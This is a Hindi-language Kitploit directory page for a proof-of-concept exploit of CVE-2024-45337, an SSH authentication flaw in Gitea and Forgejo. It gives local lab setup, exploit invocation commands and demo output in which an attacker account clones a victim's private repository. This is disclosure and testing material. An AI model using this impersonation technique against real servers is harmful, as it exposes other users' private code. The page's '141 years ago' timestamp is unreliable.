Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2024-45337 — Gitea और Forgejo के विरुद्ध CVE-2024-45337 के लिए प्रूफ ऑफ कॉन्सेप्ट | Kitploit
उपकरण/GitHubGitHub/peace-maker/cve-2024-45337
विशेषाधिकार वृद्धिभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगप्रमाणीकरण
GitHubpeace-maker/cve-2024-45337

CVE-2024-45337

Gitea और Forgejo के विरुद्ध CVE-2024-45337 के लिए प्रूफ ऑफ कॉन्सेप्ट

रिपॉजिटरी देखें
141 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2024-45337 के लिए अवधारणा प्रमाण शोषण

===

यह रिपॉजिटरी CVE-2024-45337 के लिए एक अवधारणा प्रमाण शोषण शामिल करता है। इसका उपयोग SSH सर्वर के साथ इंटरैक्ट करते समय ssh को लपेटने के लिए किया जा सकता है जो golang.org/x/crypto <= v0.30.0 का उपयोग करके कार्यान्वित किया गया है, जबकि ServerConfig.PublicKeyCallback कॉलबैक में अनुमतियों को असुरक्षित तरीके से कैश किया जाता है।

Gitea <= 1.22.4 और Forgejo <= 7.0.11, 9.0.2 आंतरिक SSH सर्वर का उपयोग करके होस्ट किए जाने पर संवेदनशील हैं। आप किसी भी उपयोगकर्ता का प्रतिरूपण कर सकते हैं, जब तक आप उन खातों से जुड़ी किसी भी सार्वजनिक कुंजी को जानते हैं। आपके पास स्वयं एक खाता होना चाहिए जिसका उपयोग आप SSH प्रमाणीकरण के लिए करते हैं।

PoC चलाएँ

  1. एक संवेदनशील forgejo या gitea इंस्टेंस प्रारंभ करें। Gitea Docker इमेज संवेदनशील नहीं हैं, इसलिए आपको मूल बाइनरी का उपयोग करके चलाना होगा।
root@kitploit:~
docker compose -f docker-compose.forgejo.yml up -d
  1. http://localhost:3000 पर SSH पोर्ट को 22 में बदलते हुए इंस्टॉल करें।
  2. एक victim उपयोगकर्ता पंजीकृत करें
    1. http://localhost:3000/user/settings/keys पर खाते में पीड़ित की सार्वजनिक कुंजी जोड़ें।
    2. important_repo नामक एक निजी रिपॉजिटरी बनाएं और एक README के साथ एक प्रारंभिक कमिट उत्पन्न करें ताकि आपके पास क्लोन करने के लिए कुछ हो।
  3. एक attacker उपयोगकर्ता पंजीकृत करें
    1. http://localhost:3000/user/settings/keys पर खाते में हमलावर की सार्वजनिक कुंजी जोड़ें।
  4. हमलावर के खाते का उपयोग करके रिपॉजिटरी क्लोन करें
    1. GIT_ATTACK_PRIVKEY को मान्य खाते की निजी कुंजी का पथ सेट करें।
    2. GIT_ATTACK_PUBKEY को अन्य लक्ष्य खाते की ज्ञात सार्वजनिक कुंजी के पथ पर सेट करें। हम उसकी निजी कुंजी नहीं जानते।
    3. GIT_SSH को शोषण स्क्रिप्ट के पथ पर सेट करें ताकि git को मूल ssh कमांड के बजाय इसका उपयोग करने के लिए कहा जा सके।
root@kitploit:~
GIT_ATTACK_PRIVKEY=./id_ed25519_attacker GIT_ATTACK_PUBKEY=./id_ed25519_victim.pub GIT_SSH_VARIANT=ssh GIT_SSH=./ssh_cve-2024-45337.py git clone ssh://git@localhost:222/victim/important_repo.git

डेमो

क्लोनिंग के दौरान कुंजियाँ निर्दिष्ट करने के लिए .ssh/config का उपयोग करें।

root@kitploit:~
Host sshvictim
 Hostname localhost
 Port 222
 User git
 IdentityFile /path/to/id_ed25519_victim
 IdentitiesOnly yes
Host sshattacker
 Hostname localhost
 Port 222
 User git
 IdentityFile /path/to/id_ed25519_attacker
 IdentitiesOnly yes

ऊपर दिए गए स्थानीय Forgejo 7.0.11 कंटेनर सेटअप के विरुद्ध चलाएँ।

root@kitploit:~
$ ssh-keygen -t ed25519 -f id_ed25519_victim
$ ssh-keygen -t ed25519 -f id_ed25519_attacker
$ git clone sshattacker:victim/important_repo.git
Cloning into 'important_repo'...
Forgejo: User: 2:attacker with Key: 2:attacker is not authorized to read victim/important_repo.
fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.
$ git clone sshvictim:victim/important_repo.git
Cloning into 'important_repo'...
remote: Enumerating objects: 3, done.
remote: Counting objects: 100% (3/3), done.
remote: Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (3/3), done.

# Delete private key of victim for demo purposes
$ rm -rf important_repo id_ed25519_victim
$ GIT_ATTACK_PRIVKEY=./id_ed25519_attacker GIT_ATTACK_PUBKEY=./id_ed25519_victim.pub GIT_SSH_VARIANT=ssh GIT_SSH=./ssh_cve-2024-45337.py git clone ssh://git@localhost:222/victim/important_repo.git
Cloning into 'important_repo'...
remote: Enumerating objects: 3, done.
remote: Counting objects: 100% (3/3), done.
remote: Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (3/3), done.
टूल डाउनलोड करें